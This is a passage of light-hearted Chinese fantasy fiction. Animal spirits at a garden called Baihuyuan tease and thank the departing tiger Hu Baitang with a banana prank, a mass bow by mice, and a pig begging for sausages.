欧若拉哈哈笑起来:“你快抱抱他!虎白糖喜欢强制爱哦!我说的都是真的,believeme!” 桑哥跳到虎白糖身上,环住虎白糖的脖子,在虎白糖脖子下方扒了根香蕉。 虎白糖斜眼往后瞅:“喂,下来啊,别逼我走之前揍你一顿,啊!” 桑哥瞄准时机,用手抓着香蕉果肉,把香蕉塞进虎白糖嘴里,又在虎白糖嘴边狠狠地抹了一把,立即跳下去,跑远了。 “揍不到!嘿嘿。” “咕唧”一声,香蕉顺着食道滑进虎白糖胃里:“我真的服了!” “哈哈哈哈!”欧若拉笑得躺在地上,滚到羊乐多脚边。 虎白糖刚要转身去追桑哥,巨大的爪子还没迈出去,就差点儿踩到大肌肉老鼠。 他缓缓地把爪子挪开:“哞?肌肉大师?” 大肌肉抹了把泪:“虎大仙,我能不能,再为您按摩一次。” 虎白糖坐好:“成啊!我正好还攒了些牛肉肠,一会儿都给你。” 大肌肉摇摇头:“不,我不是要你的东西,我就是,就是。” “你说嘛,”欧若拉说,“虎白糖都要走了,有什么就赶紧说吧,大肌肉。” 大肌肉又抹了把泪:“唉,舍不得您,您是全世界第一个接纳我们鼠鼠家族的妖精,我很早之前就很想跟您说,我们真的很感谢您。” 虎白糖一掌拍在大肌肉身上,差点儿把大肌肉拍进地里,他乐呵呵地笑起来:“哎呦!没事儿吧!嗨!这都不是事儿,咱们都是好铁汁,铁汁之间不说这些有的没的!” 大肌肉拍拍身上的土,从地里钻出来,站在坑旁边:“我也不知道该怎么说了,我只长肌肉不长脑子,我们,我们一起给您鞠一躬吧。” 他打了个响指,几千只老鼠忽然从四面八方钻进百虎园。他们在鼠大灰的指挥下,排成横纵方队。 “感谢虎白糖!”鼠大灰大叫。 “感谢虎白糖!”所有老鼠都大叫,齐刷刷地给虎白糖鞠了一躬。 欧若拉拍拍爪子,摇着头说:“太震撼了,虎白糖。” 其他动物也跟着鼓掌。 阿金坐在百虎园门口,立即拿着孔雀羽毛笔记录下来:“太有意思了,这个也是素材,虎白糖万妖迷,大肌肉老鼠虐恋老虎,鼠鼠家族上阵助攻。” 猪堡堡凑过来:“吼,白糖哥,那个,牛肉肠能不能给我?” 虎白糖笑着说:“那可不行,老子现在要走了,可不能临走还害你一顿。” 猪堡堡踮起脚,趴在虎白糖耳朵旁:“别告诉别妖,偷偷的。” 欧若拉说:“可我这个神仙听见啦!” 猪堡堡一屁股坐在地上:“好呐!神仙大人,我真的要哭了。” 欧若拉跳到虎白糖头上:“你别哭,我偷偷看过黎修羽的本子啦,他已经在计划解决你的问题咯!” 猪堡堡眨眨绿豆大的眼睛:“真哒?您真的偷偷看过啦?” 欧若拉一掌拍在虎白糖脑袋上:“好大的胆子!揍她。” 虎白糖伸出爪子,猪堡堡抱着头,跳到羊乐多另一边:“猪妈妈呀,偷偷的,黎园长都听见啦!” 欧若拉回过头,正好对上黎修羽清淡的眼睛:“嘿嘿,你不介意吧?”